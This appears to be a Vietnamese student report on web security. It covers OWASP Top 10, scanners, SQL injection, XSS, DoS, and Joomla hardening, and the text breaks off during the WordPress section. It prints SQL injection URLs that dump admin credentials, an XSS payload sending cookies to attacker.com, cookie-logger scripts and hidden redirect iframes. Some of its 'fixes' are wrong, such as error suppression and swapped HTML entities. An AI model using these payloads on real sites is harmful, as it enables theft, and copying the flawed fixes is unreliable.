25
1 AN NINH WEBSITE I. GIỚI THIỆU : 1. Các nguyên nhận và mối đe dọa Website : Trong quá trình hoạt động, ứng dụng web thường được phép truy xuất đến các tài nguyên quan trọng của hệ thống đó là máy chủ web và máy chủ cơ sở dữ liệu. Thông thường khi phát triển ứng dụng, các lập trình viên thường dành nhiều thời gian cho các chức năng, giao diện mà bỏ qua vấn đề bảo mật. Điều đó không có nghĩa là lập trình viên không quan tâm đến vấn đề bảo mật mà vấn đề ở chỗ họ thường thiếu kiến thức về bảo mật và vấn đề bảo mật thường bị bỏ qua trong giai đoạn thiết kế và xây dựng ứng dụng. Ứng dụng có lỗ hỗng bảo mật thường bị tin tặc khai thác để chiếm quyền điều khiển máy chủ web và máy chủ cơ sở dữ liệu. Từ đó tin tặc có thể triển khai các kiểu tấn công khác như: Thay đổi giao diện trang web Chèn các mã độc được cài đặt tự động vào máy người dùng khi họ truy cập vào ứng dụng Chèn các mã độc để lấy cắp các thông tin về phiên làm việc (session ID) Lấy cắp thông tin về được lưu trữ trên cơ sở dữ liệu Truy cập tự do vào những vùng cấm .... 2. Khái niệm an ninh website : An ninh Website là bằng các phương pháp khoa học và kỹ thuật đánh giá một cách tổng thể và chi tiết về an tòan bảo mật website . Các phương pháp đánh giá và phân tích được dựa trên cơ sở sử dụng các công cụ kỹ thuật chuyên dụng và kỹ thuật tấn công phân tích. Kết quả của việc đánh giá sẽ cho biết về mức độ an tòan của hệ thống, khả năng phòng chống trước những tấn công ngày càng nhiều và nguy hiểm trên mạng Internet. Kết quả cung sẽ chỉ ra các thiếu sót cần khắc phục trong việc triển khai và vận hành hệ thống.

Bao cao tttn an ninh web

Embed Size (px)

Citation preview

Page 1: Bao cao tttn   an ninh web

1AN NINH WEBSITE

I. GIỚI THIỆU :

1. Các nguyên nhận và mối đe dọa Website :Trong quá trình hoạt động, ứng dụng web thường được phép truy xuất đến các tài nguyên

quan trọng của hệ thống đó là máy chủ web và máy chủ cơ sở dữ liệu. Thông thường khi phát triển ứng dụng, các lập trình viên thường dành nhiều thời gian cho các chức năng, giao diện mà bỏ qua vấn đề bảo mật. Điều đó không có nghĩa là lập trình viên không quan tâm đến vấn đề bảo mật mà vấn đề ở chỗ họ thường thiếu kiến thức về bảo mật và vấn đề bảo mật thường bị bỏ qua trong giai đoạn thiết kế và xây dựng ứng dụng.

Ứng dụng có lỗ hỗng bảo mật thường bị tin tặc khai thác để chiếm quyền điều khiển máy chủ web và máy chủ cơ sở dữ liệu. Từ đó tin tặc có thể triển khai các kiểu tấn công khác như:

Thay đổi giao diện trang web Chèn các mã độc được cài đặt tự động vào máy người dùng khi họ truy cập vào ứng dụng

Chèn các mã độc để lấy cắp các thông tin về phiên làm việc (session ID)

Lấy cắp thông tin về được lưu trữ trên cơ sở dữ liệu

Truy cập tự do vào những vùng cấm

....

2. Khái niệm an ninh website :An ninh Website là bằng các phương pháp khoa học và kỹ thuật đánh giá một cách tổng

thể và chi tiết về an tòan bảo mật website . Các phương pháp đánh giá và phân tích được dựa trên cơ sở sử dụng các công cụ kỹ thuật chuyên dụng và kỹ thuật tấn công phân tích. Kết quả của việc đánh giá sẽ cho biết về mức độ an tòan của hệ thống, khả năng phòng chống trước những tấn công ngày càng nhiều và nguy hiểm trên mạng Internet. Kết quả cung sẽ chỉ ra các thiếu sót cần khắc phục trong việc triển khai và vận hành hệ thống.

II. TIÊU CHUẨN ĐÁNH GIÁ WEB – OWASP TOP 10 2013:

Page 2: Bao cao tttn   an ninh web

2AN NINH WEBSITE

OWASP ( The Open Web Applocation Security Project ) là tiêu chuẩn đánh giá chung về Web. Với OWASP chúng ta sẽ được cung cấp miền phí :

• Các công cụ và các tiêu chuẩn về an toàn thông tin

• Tài liệu về kiểm tra bảo mật ứng dụng, lập trình an toàn và kiểm định mã nguồn

• Thư viện và các tiêu chuẩn điều khiển an ninh thông tin

• Các chi nhánh của hội ở khắp thế giới

• Các nghiên cứu mới nhất

• Các buổi hội thảo toàn cầu

• Maillist chung

Có 1 số thay đổi giữa OWASP TOP phiên bản 2013 và phiên bản 2010 :

A1 – Injection ( Lỗi mã nhúng ) : Xảy ra trong các ứng dụng như SQL, LDAP khi những dữ liệu không xác thực được gửi tới hệ thống biên dịch như một phần của mã lệnh. Những dữ liệu này của kẻ tấn công có thể lừa hệ thống biên dịch thực hiện những mã lệnh độc hại hoặc giúp kẻ tấn công xâm nhập đến những dữ liệu quan trọng một cách trái phép.

Page 3: Bao cao tttn   an ninh web

3AN NINH WEBSITE

A2 – Broken Authentication and Session Management ( Sai lầm trong kiểm tra định danh ) : Những đoạn chương trình kiểm tra danh tính và quản l{ phiên làm việc của người sử dụng thường hay được làm qua loa không đúng cách. Điều này giúp kẻ thâm nhập có thể ăn cắp mật mã, khóa, mã của các phiên làm việc {session token} hoặc tận dụng những lỗi khác để giả mạo danh tính các người dùng khác.

A3 – Cross Site Scripting ( XSS – thực thi script độc hại ) : Xảy ra khi một ứng dụng tiếp nhận những dữ liệu không đáng tin cậy và gửi chúngđến cho trình duyệt web mà không qua xử l{ và kiểm duyệt. XSS cho phép kẻ tấn công thực hiện mã độc trên trình duyệt của người bị tấn công và lợi dụng ăn cắp phiên truy cập để mạo danh hoặc hủy hoại trang web hoặc lừa người sử dụng đến những trang web chứa mã độc khác..

A4 – Insecure Direct Object References ( Đối tượng tham chiếu thiếu an toàn ) :Xảy ra khi người phát triển để lộ một tham chiếu đến những đối tượng trong hệ thống như các tập tin, thư mục hay chìa khóa dữ liệu. Nếu chúng ta không có một hệ thống kiểm tra truy cập, kẻ tấn công có thể lợi dụng những tham chiếu này để truy cập dữ liệu một cách trái phép..

A5 – Security Misconfiguration ( Sai sót cấu hình an ninh ) : Một cơ chế an ninh tốt cần phải định nghĩa những hiệu chỉnh về an ninh và triển khai nó cho các ứng dụng, khuôn mẫu, máy chủ ứng dụng, máy chủ web, máy chủ dữ liệu và các ứng dụng nền tảng. Tất cả những thiệt lập nên được định nghĩa, thực hiện và bảo trì bởi vì rất nhiều thứ không được triển khai với thiết lập an toàn mặc định. Các hiệu chỉnh cũng bao gồm cập nhật phần mềm và những thư viện được sử dụng bởi ứng dụng.

A6 - Sensitive Data Exposure ( Tiếp xúc với dữ liệu nhạy cảm ) : Các dữ liệu nhạy cảm được lưu trữ không an toàn có thể gây ra những ảnh hưởng to lớn cho hệ thống máy chủ, cũng như cho khách hàng.

A7 – Missing Function Level Access Control ( Sai sót hạn chế truy cập ) : Nhiều ứng dụng web kiểm tra quyền thực thi địa chỉ truy cập (URL) trước khi dựng các liên kết và nút nhấn được bảo vệ. Tuy nhiên ứng dụng cũng phải thực hiện những kiểm tra tương tự mỗi khi những trang thông tin được truy cập trực tiếp nếu không kẻ tấn công có thể giả mạo URL để truy cập vào những trang thông tin ẩn này.

A8 – Cross Site Request Forgery ( CSRF – Giả mạo yêu cầu ) : Kiểu tấn công này ép buộc trình duyệt web của một người dùng đã đăng nhập gửi những yêu cầu giao thức web (HTTP) tới một trang web bị lỗi, bao gồm cookie của phiên truy cập và những thông tin tự động khác như thông tin đăng nhập. Cách thức này cho phép kẻ tấn công buộc trình duyệt web tạo ra những yêu cầu cho ứng dụng lỗi mà ứng dụng này không thể biết đây là những yêu cầu giả mạo của kẻ tấn công..

Page 4: Bao cao tttn   an ninh web

4AN NINH WEBSITE

A9 – Using Know Vulnerable Components ( NEW ) : Việc sử dụng các lỗ hổng bảo mật trong các thư viện, plugin, module, ứng dụng... được công khai trong cộng đồng giúp hacker nhanh chóng khai thác các lỗ hổng bảo mật.

A10 – Unvalidated Redirects and Forwards ( Thiếu thẩm tra chuyển hướng và chuyển tiếp ) : Ứng dụng web thường xuyên đưa người dùng đến những liên kết qua các website khác, và sử dụng những thông tin thiếu tin cậy để xác định đích đến. Nếu không được kiểm tra một cách cẩn thận, kẻ tấn công có thể lợi dụng để chuyển nạn nhân đến các trang web lừa đảo hay phần mềm độc hại, hoặc chuyển tiếp để truy cập các trang trái phép.

Chú ý : Các bạn truy cập vào trang chủ của OWASP để tìm hỉu thêm theo đường link :https://www.owasp.org/index.php/Top_10

III. CÁC CÔNG CỤ QUÉT LỖ HỔNG WEBSITE :

1. OWASP Zed Attack Proxy ( ZAP 2.2.2 ) :

Zed Attack Proxy (ZAP) là công cụ tích hợp của tập hợp nhiều công cụ pentest có chức năng khác nhau. ZAP cho phép người sử dụng có thể thực hiện nhiều tác vụ nhằm dò tìm điểm yếu trên ứng dụng web.

Những tiện ích nổi bật của ZAP

Intercepting Proxy : Bản chất ZAP là một proxy chặn giữa người dùng và ứng dụng web Automated scanner

Passive scanner

Brute Force scanner : Cho phép tìm cây thư mục,tính năng này là sự tích hợp của công cụ Dir Buster mà mình đã giới thiệu trước đó.

Spider : Tìm kiếm các url trong website

Fuzzer : Tích hợp tiện ích JbroFuz.

Port scanner

Dynamic SSL certificates : tự tạo một cert root CA,thực hiện MiTM để decrypt các traffic mã hóa bởi SSL.

Report: cung cấp output ra report dạng HTML và XML

Download : https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

Page 5: Bao cao tttn   an ninh web

5AN NINH WEBSITE

Giao diện sao khi cài đặt :

2. Acunetix Web Vulnerability Scanner ( Sử dụng Trail 14 Day ) : Acunetix WVS (Web Vulnerability Scanner) là chương trình tự động kiểm tra các ứng

dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay Cross-Site Scripting,… và tìm kiếm những chính sách đối với mật khẩu đăng nhập cũng như các phương thức xác thực vào Web Site.

Acunetix WVS là một công cụ quét lỗi cho ứng dụng Web dựa trên một cơ sở dữ liệu rộng lớn được cập nhật thường xuyên, với các thuật toán heuristic đáp ứng được các cơ chế họat động phức tạp của môi trường Web. Acunetix WVS có thể tự động kiểm tra các lổ hỗng thông dụng như cross site scripting, sql injection và các mối nhạy cảm khác của những web site có thể truy cập bằng trình duyệt, hay những ứng dụng được xây dụng trên các kỹ thuật tiên tiến như AJAX.. để thực hiện được điều này Acunetix WVS dựa trên nhiều phương pháp và công cụ tích hợp để:

• Crawling (lấy về) toàn bộ website gồm tất cả các liên kết trên site và cả trong tập tin robots.txt sau đó hiển thị tòan bộ cấu trúc này một cách chi tiết.

Page 6: Bao cao tttn   an ninh web

6AN NINH WEBSITE

• Sau tiến trình cwarling và khám phá tình trạng của ứng dụng web, Acunetix WVS tự động phát động các đợt tấn công đã được lập trình sẳn dựa trên các lổ hổng, giống như khi web site bị 1 hacker tấn công thực sự, phân tích các trang và những vị trí có thể nhập liệu cùng với các sự kết hợp khác nhau của dữ liệu đầu vào có thể làm cho website hiển thị những thông tin nhạy cảm.

• Sau khi tìm ra được các lổ hổng, Acunetix WVS thông báo trên các “Alerts Node”, mỗi alert gồm các thông tin về lỗi cũng như các mối nguy hiểm có thể gặp phải và “dĩ nhiên” là kèm theo các khuyến nghị về cách thức khắc phục.

• Sau khi tiến trình kiểm tra hòan tất, chúng ta có thể lưu lại thành một tập tin để phân tích sau này, với công cụ báo cáo chuyên nghiệp sẽ giúp cho các web master dễ dàng tổng hợp các kết quả kiểm tra khác nhau trên ứng dụng Web của mình.

Sau khi quét, Acunetix WVS sẽ liệt kê cấu trúc của site, phiên bản webserver đang sử dụng, URL không tồn tại, các lỗi phát hiện được cũng như mức độ Security của site đang quét. Mức độ bảo mật của website được AWV đánh giá từ low, medium, high. Nếu website được liệt kê ở mức low, hãy nhanh chóng fix lỗi mà AWV liệt kê.

Download : http://www.acunetix.com/vulnerability-scanner/download/

Giao diện sao khi cài đặt :

Page 7: Bao cao tttn   an ninh web

7AN NINH WEBSITE

IV. CÁC PHƯƠNG THỨC TẤN CÔNG WEB PHỔ BIẾN :

1. SQL INJECTION :SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc

kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước). Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.

SQL Injection : được mô tả như là một trong những lỗ hổng bảo mật web nguy hiểm nhất. Khai thác Sql Injection, ngoài việc đoạt được quyền kiểm soát về mặt dữ liệu như đã nói ở trên, hacker còn có thể cài đặt backdoor trên server mà ứng dụng đang chạy, qua đó kiểm soát toàn bộ hệ thống…

1.1 Cách thức tấn công :

Thông qua link web hacker có thể dùng những lệnh truy vấn database để tấn công

Ví dụ :

- Để phát hiện lỗi của website người tấn công thêm vào các giá trị vào đường truy cập:

http://www. www.example.com /product_details.php?idproduct=10’

- Và thực hiện tiếp các câu truy vấn khác :

http://www.example.com/product_details.php?idproduct=10 ORDER BY 6

- Dùng những câu lệnh Select để truy xuất dữ liệu :

http://www.example.com/product_details.php?idproduct=-NULL UNION SELECT 1,@@VERSION,3,4,5—

- Hiện thỉ các table :

http:// www.example.com/product_details.php?idproduct=10’ UNION SELECT 1,GROUP_CONCAT%28TABLE_NAME%29,3,4,5 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--

- Lấy user, password từ Admin :

http:// www.example.com /product_details.php?idproduct=10’ UNION SELECT 1,GROUP_CONCAT(Admin_ID,0x3a,User_Name,0x3a,Password),3,4,5 FROM admin—

Page 8: Bao cao tttn   an ninh web

8AN NINH WEBSITE

Hacker có thể dùng tools để tấn công 1 cách nhanh chống :

o Sqlmap

o Havij

o Pangolin

o …..

1.2 Cách Phòng chống :

Ví dụ :

- Ngăn chặn thông báo lỗi :

Code chưa fix :

$id = $_GET[id]; mysql_query("SELECT * FROM sanchoituoitre.vn WHERE id=$id");

Code đã fix :

$id = $_GET[id]; @mysql_query("SELECT * FROM sanchoituoitre.vn WHERE id=$id");

- Sử dụng hàm : mysql_real_escape_string

$user="";$password="";$query = sprintf("SELECT * FROM users WHERE user='' AND password=''",            mysql_real_escape_string($user),            mysql_real_escape_string($password));echo $query;

Kết quả in ra là : SELECT * FROM users WHERE user='' AND password=''

- Các câu truy vấn user , password đơn giản sẽ dễ bị tấn công :

using (SqlConnection connnection = new SqlConnection(ConnString)){    // Build the query statement using dynamic data.    string sql = "SELECT UserId FROM User WHERE " +                 "UserName = '" + UserName + "' AND " +                 "Password = '" + Password + "'";    using (SqlCommand cmd = new SqlCommand(sql))    {         cmd.Connection = connnection;         try         {             cmd.Connection.Open();             var userId = cmd.ExecuteScalar();

Page 9: Bao cao tttn   an ninh web

9AN NINH WEBSITE

         }         catch (SqlException sx)         {             // Handle exceptions before moving on.         }     }}

- Có thể sữa truy vấn bằng cách thêm các tham số vào các giá trị :

string sql = "SELECT UserId FROM User WHERE " +                "UserName = @UserName AND Password = @Password";  using (SqlCommand cmd = new SqlCommand(sql))  {    // Create the parameter objects as specific as possible.    cmd.Parameters.Add("@UserName", System.Data.SqlDbType.NVarChar, 50);    cmd.Parameters.Add("@Password", System.Data.SqlDbType.NVarChar, 25);      // Add the parameter values.  Validation should have already happened.    cmd.Parameters["@UserName"].Value = UserName;    cmd.Parameters["@Password"].Value = Password;    cmd.Connection = connnection;      try    {        cmd.Connection.Open();       var userId = cmd.ExecuteScalar();    }    catch (SqlException sx)    {        // Handle exceptions before moving on.    }}

2. Cross-Site Scripting ( XSS ) :XSS là kĩ thuật tấn công bằng cách chén vào các website động ( ASP, PHP, CGI, JSP

… ) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm được chén vào hầu hết được viết bằng các Client-Site Script như Javascript, Jscript, DHTML và cũng có thể là cả các thẻ HTML.

XSS là một trong những lỗi phổ biến, có rất nhiều trang web mắc phải lỗi này.

Page 10: Bao cao tttn   an ninh web

10AN NINH WEBSITE

2.1 Cách thức hoạt động :

XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, để thực thi trên trình duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay fishing lừa đảo hay chèn virus, Trojan, backdoor...

Thường thì XSS có dạng như sau:

http://www.xxx.com/index.php?query=<script>alert('hello');</script>

Và nội dung hiện ra trên trình duyệt sẽ là: “ hello ”

2.2 Cách phát hiện lỗi :

Chủ yếu lỗi XSS nằm ở các phần : search results, error messages, Web-form, và những chỗ mà người dùng có thể nhập dự liệu vào và sau đó nhận được một kết quả gì đó.

Các thức tìm lỗi XSS :

- Có thể dùng các công cụ quét lỗi Website ở trang 4

- Chúng ta có thể tìm lỗi bằng tay với những phần mình nên trên như : search….. Chúng ta thực hiện các bước sau :

Bước 1 : Mở website cần kiểm tra

Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit) , ví dụ nhập chữ "XSS" hay những từ khác .

Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về :

Ví dụ bạn thấy như thế này : · "Your search for 'XSS' did not find any items" · "Your search for 'XSS' returned the following results" · "User 'XSS' is not valid" · "Invalid login 'XSS'" hoặc là giá trị nào đó có liên quan tới "XSS" mà bạn nhập vào ban đầu thì 99% "Alert" này bị XSS

Hãy thữ lần lượt với các script khác : < script>alert('XSS')< /script> hoặc <i*g csstest=java script:alert('XSS')> hoặc &{alert('XSS')};

Bước 4 : Chèn code thực sự vào nơi bị lỗi : < script>alert('XSS')< /script> vào ô nhập giá trị và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "XSS" thì "Alert" này 100% bị dính XSS .

Một ví dụ khác thường gặp hơn :

http://sitebiloi.com/ là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://sitebiloi.com/index.php?page=<s...< script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS .

Page 11: Bao cao tttn   an ninh web

11AN NINH WEBSITE

2.3 Cách thức tấn công :

Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại không gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của XSS lại là người dùng.

- Hacker có thể tấn công lấy cookies bằng những kỹ thuật :

o Hacker sẽ tạo ra ở host của mình một file cookie.asp có nội dung:

<% Set x = CreateObject("Scripting.FileSystemObject") Set y = x.OpenTextFile(Server.MapPath("xss.txt"), 8, true) y.WriteLine Request.QueryString("cookie") y.Close Set y = Nothing Set x = Nothing %>

o Hoặc 1 file cookie.php như thế này :

<? $f = fopen("xss.txt","a"); fputs($f, $cook.chr(13)); fclose($f); ?>

o Tiếp tục sẽ chén vào link web lỗi :

[URL="http://www.xxx.com/index.php?query=%3C"]http://www.xxx.com/index.php?query=<[/URL] script>window.open("http://www.attacker.com/cookie.asp?cookie="+document.cookie)< /script>

Sau khi người dùng click vào link của hacker thì hacker sẽ vào file xss.txt xem cookies.

- Hacker có thể mở thêm 1 trang web có chứa mã độc hoặc Trojan mà bạn sẽ không biết được :

o Dùng code IFRAME :

<iframe src='http://www.attacker.com' width='1' height='1' style='visibility; hidden;'></iframe>

o Hoặc :

<meta http-equiv="Refresh" content="0;url=http://www.attacker.com">

Ngoài ra hacker có thể chuyển hướng sang 1 web nào đó mà hacker mong muống.

2.4 Cách phòng chống :

Để phòng chống tốt nhất XSS là theo nguyên tắc FIEO (Filter Input, Escape Output). Để làm việc này thì hiện tại có khá nhiều bộ lọc để chúng ta lựa chọn. Chúng ta sẽ có vài cách cơ bản sau :

- Viết mã lọc nội dung theo nguyên tắc FIEO (Filter Input, Escape Output) . Vì các đoạn mã độc bắt đầu vối “<script>” và kết thúc với “</script>” . Thay : “<” và “>” = “&gt;” và “&lt;” (các thực thể html) .Ta có đoạn code sau :

Page 12: Bao cao tttn   an ninh web

12AN NINH WEBSITE

str_replace("<","&gt;",$info);str_replace(">","&lt;",$info);str_replace("'","&apos;",$info);str_replace(""","&quot;",$info);

str_replace("&","&amp;",$info);

- Nếu bạn đang sử dụng Apache Server các bạn có thể sử dụng mod_perl với module Apache:TaintRequest để lọc và mã hóa các dữ liệu truy vấn :

use Apache::TaintRequest;

my $apr = Apache::TaintRequest->new(Apache->request);

my $text = $apr->param('text');

$r->content_type("text/html");

$r->send_http_header;

$text =~ s/[^A-Za-z0-9 ]//;

$r->print("You entered ", $text);

3. Denial of Service ( Dos ) :Tấn công bằng từ chối dịch vụ DoS (Denial of Service) có thể mô tả như hành động ngăn

cản những người dùng hợp pháp khả năng truy cập và sử dụng vào một dịch vụ nào đó. Nó bao gồm làm tràn ngập mạng, mất kết nối với dịch vụ… mà mục đích cuối cùng là máy chủ (Server) không thể đáp ứng được các yêu cầu sử dụng dịch vụ từ các máy trạm (Client).

DoS có thể làm ngưng hoạt động của một máy tính, một mạng nội bộ, thậm chí cả một hệ thống mạng rất lớn. Về bản chất thực sự của DoS, kẻ tấn công sẽ chiếm dụng một lượng lớn tài nguyên mạng như băng thông, bộ nhớ… và làm mất khả năng xử lý các yêu cầu dịch vụ từ các client khác.

3.1 Cách thức tấn công :

- Thông qua kết nối :

o Tấn công kiểu SYN flood :

Lợi dụng cách thức hoạt động của kết nối TCP/IP, hacker bắt đầu quá trình thiết lập một kết nối TPC/IP tới mục tiêu muốn tấn công mà không gửi trả gói tin ACK, khiến cho mục tiêu luôn rơi vào trạng thái chờ (đợi gói tin ACK từ phía yêu cầu thiết lập kết nối) và liên tục gửi gói tin SYN ACK để thiết lập kết nối. Một cách khác là giả mạo địa chỉ IP nguồn của gói tin yêu cầu thiết lập kết nối SYN và cũng như trường hợp trên, máy tính đích cũng rơi vào trạng thái chờ vì các gói tin SYN ACK không thể đi đến đích do địa chỉ IP nguồn là không có thật. Kiểu tấn công

Page 13: Bao cao tttn   an ninh web

13AN NINH WEBSITE

SYN flood được các hacker áp dụng để tấn công một hệ thống mạng có băng thông lớn hơn hệ thống của hacker.

- Lợi dụng nguồn tài nguyên của chính nạn nhân để tấn công :

o Kiểu tấn công Land Attack :

Kiểu tấn công Land Attack cũng tương tự như SYN flood, nhưng hacker sử dụng chính IP của mục tiêu cần tấn công để dùng làm địa chỉ IP nguồn trong gói tin, đẩy mục tiêu vào một vòng lặp vô tận khi cố gắng thiết lập kết nối với chính nó.

o Kiểu tấn công UDP flood

Hacker gửi gói tin UDP echo với địa chỉ IP nguồn là cổng loopback của chính mục tiêu cần tấn công hoặc của một máy tính trong cùng mạng. Với mục tiêu sử dụng cổng UDP echo (port 7) để thiết lập việc gửi và nhận các gói tin echo trên 2 máy tính (hoặc giữa mục tiêu với chính nó nếu mục tiêu có cấu hình cổng loopback), khiến cho 2 máy tính này dần dần sử dụng hết băng thông của chúng, và cản trở hoạt động chia sẻ tài nguyên mạng của các máy tính khác trong mạng.

- Sử dụng băng thông :

o Tấn công kiểu DDoS (Distributed Denial of Service)

Đây là cách thức tấn công rất nguy hiểm. Hacker xâm nhập vào các hệ thống máy tính, cài đặt các chương trình điều khiển từ xa, và sẽ kích hoạt đồng thời các chương trình này vào cùng một thời điểm để đồng loạt tấn công vào một mục tiêu. Với DDoS, các hacker có thể huy động tới hàng trăm thậm chí hàng ngàn máy tính cùng tham gia tấn công cùng một thời điểm (tùy vào sự chuẩn bị trước đó của hacker) và có thể "ngốn" hết băng thông của mục tiêu trong nháy mắt.

3.2 Cách phòng chống :

Hậu quả mà DoS gây ra không chỉ tiêu tốn nhiều tiền bạc, và công sức mà còn mất rất nhiều thời gian để khắc phục. Vì vậy, hãy sử dụng các biện pháp sau để phòng chống DoS:

- Các bạn có thể cài đặt những software Anti-Ddos trên windows hoặc đối với Linux có Mod_security…… để tạo ra những ruler khi truy cập.

- Mô hình hệ thống cần phải được xây dựng hợp lý, tránh phụ thuộc lẫn nhau quá mức. Bởi khi một bộ phận gặp sự cố sẽ làm ảnh hưởng tới toàn bộ hệ thống.

- Thiết lập mật khẩu mạnh (strong password) để bảo vệ các thiết bị mạng và các nguồn tài nguyên quan trọng khác.

Page 14: Bao cao tttn   an ninh web

14AN NINH WEBSITE

- Thiết lập các mức xác thực đối với người sử dụng cũng như các nguồn tin trên mạng. Đặc biệt, nên thiết lập chế độ xác thực khi cập nhật các thông tin định tuyến giữa các router.

- Xây dựng hệ thống lọc thông tin trên router, firewall… và hệ thống bảo vệ chống lại SYN flood.

- Chỉ kích hoạt các dịch vụ cần thiết, tạm thời vô hiệu hoá và dừng các dịch vụ chưa có yêu cầu hoặc không sử dụng.

- Xây dựng hệ thống định mức, giới hạn cho người sử dụng, nhằm mục đích ngăn ngừa trường hợp người sử dụng ác ý muốn lợi dụng các tài nguyên trên server để tấn công chính server hoặc mạng và server khác.

- Liên tục cập nhật, nghiên cứu, kiểm tra để phát hiện các lỗ hổng bảo mật và có biện pháp khắc phục kịp thời.

- Sử dụng các biện pháp kiểm tra hoạt động của hệ thống một cách liên tục để phát hiện ngay những hành động bất bình thường.

4. Phương thức tấn công Website Joomla :Hiện Joomla! ngày càng phát triển mạnh mẽ và ngày càng được ứng dụng rộng rãi ở Việt

Nam với số lượng các thành phần mở rộng (extensions) từ các hãng thứ ba cũng tăng không ngừng cả về số lượng và chất lượng. Rất nhiều thành phần mở rộng (gồm component, module, plugin, template...) thực sự tuyệt vời và đáng được cài đặt trên mọi Website.

Tuy nhiên, có một thực tế song hành với mặt ưu điểm trên là số lượng các Website bị tấn công thông qua các lỗi lập trình bất cẩn trong các thành phần mở rộng được cài đặt thêm cũng ngày càng tăng cao.

4.1 Nguyên nhân dẫn đến Website joomla bị tấn công :

- Quyền trên các folder/file không bảo mật.

- Mật khẩu Backend (tức Administrator) quá dễ để dò ra.

- Không có Password Protect thư mục Backend.

- Sử dụng các Module/Extension của một cá nhân/hãng nào đó lập trình kém, sử dụng bản crack/null (đã chứa sẵn shell script ) được tung lên mạng.

4.2 Các cách cần thiết để tránh bị tấn công :

Bảo mật cho Website Joomla là một nhân tố quan trọng góp phần bảo vệ Website trước các âm mưu tấn công có chủ đích cũng như vô tình, giúp cho Website luôn hoạt động ổn định và bền vững. Nhiều quản trị Website chỉ đặt trọng tâm vào việc thiết kế, cập nhật nội dung và giành thứ hạng cao trong các kết quả tìm kiếm mà quên đi việc đảm bảo an toàn cho Website.

Page 15: Bao cao tttn   an ninh web

15AN NINH WEBSITE

- Sao lưu toàn bộ Website theo định kỳ :

Điều đầu tiên và cũng là quan trọng nhất là bạn phải thường xuyên sao lưu toàn bộ Website bao gồm cả thư mục chứa Joomla và cơ sở dữ liệu MySQL. Hãy lập lịch ít nhất một lần trong tuần (khuyến cáo là mỗi ngày một lần) để thực hiện sao lưu. Bạn sẽ tiết kiệm được rất nhiều công sức và tiền của khi Website bị tấn công và chỉ mất vài phút hoặc vài chục phút để khôi phục lại gần như toàn bộ.

- Nâng cấp khi Joomla có phiên bản phát hành ổn định mới nhất :

Nhóm phát triển nòng cốt của Joomla luôn phát hành đều đặn vài tháng một lần phiên bản Joomla mới bao gồm cả các bản vá lỗi bảo mật và và các bản vá tăng cường hiệu suất làm việc, do vậy bạn cần kiểm tra thường xuyên trên website của Joomla (http://www.joomla.org) để kịp thời cập nhật phiên bản mới nhất.

- Kiểm tra các thành phần mở rộng (module, component, mambot/plugin) của các hãng thứ ba :

Hầu hết Website có thể bị tấn công thông qua các lỗi bảo mật nằm trong các thành phần mở rộng được cài đặt thêm từ hãng thứ ba. Do vậy bạn cũng luôn phải chắc chắn rằng nếu mình có cài đặt các thành phần mở rộng từ hãng thứ ba thì đó phải là các phiên bản mới nhất.

Khuyến cáo: Hãy hạn chế tới mức tối đa việc cài đặt các thành phần mở rộng từ hãng thứ ba. Ngoài ra khi bạn quyết định gỡ một thành phần mở rộng nào đó khỏi hệ thống thì bạn cũng xóa cả các bảng cơ sở dữ liệu liên quan.

- Quyền hạn đối với các thư mục :

Sau khi cài đặt các thành phần mở rộng, bạn cần thiết lập quyền hạn đối với các thư mục sang chế độ CHMOD 755.

Lưu ý: Nếu quá trình cài đặt các thành phần mở rộng (component/module/language...) gặp trục trặc bạn cần chuyển các thư mục sau sang CHMOD 777. Khi cài đặt xong lại thiết lập như trên (755 đối với thư mục và 644 đối với file)

Components

language

modules

mambots

templates

administrator

Page 16: Bao cao tttn   an ninh web

16AN NINH WEBSITE

administrator/backups

administrator/components

administrator/modules

- Quyền hạn đối với các tệp : Thiết lập quyền hạn đối với tất cả các tệp của bạn sang chế độ CHMOD 644.

- Quyền hạn đối với tệp configuration.php :

Đây là một điều rất quan trọng. Bạn phải chắc chắn rằng mình đã thiết lập quyền hạn cho tệp "configuration.php" sang CHMOD 644.

- Bảo mật với .htaccess :

Bản phát hành mới nhất của Joomla bao gồm cả phiên bản cập nhật cho tệp ".htaccess" để làm giảm thiểu nguy cơ tấn công từ các hacker. Do vậy bạn cần phải truyền tệp .htaccess này tới server của bạn và đổi quyền hạn sang CHMOD 644.

- Joomla! Register Globals Emulation :

Bạn cần phải chắc chắn rằng biến "register global emulation" được thiết lập thành OFF. Hãy mở tệp "global.php", tìm dòng define('RG_EMULATION', 1) và đổi nó thành define('RG_EMULATION', 0).

- Cài vào thêm vào Server module mod_security và mod_rewrite để lọc và chặn các truy vấn nguy hiểm.

5. Phương thức tấn công Website Wordpress :Hiện nay, rất nhiều người sử dụng WordPress như một sự tiện lợi trong việc tạo website

miễn phí. Tuy nhiên, vấn đề bảo vệ website không được thực hiện tốt. Chính vì thế trong thời gian qua, có rất nhiều site xây dựng trên nền WordPress bị các hacker tấn công.

5.1 Nguyên nhân dẫn đến Website Wordpress bị tấn công :

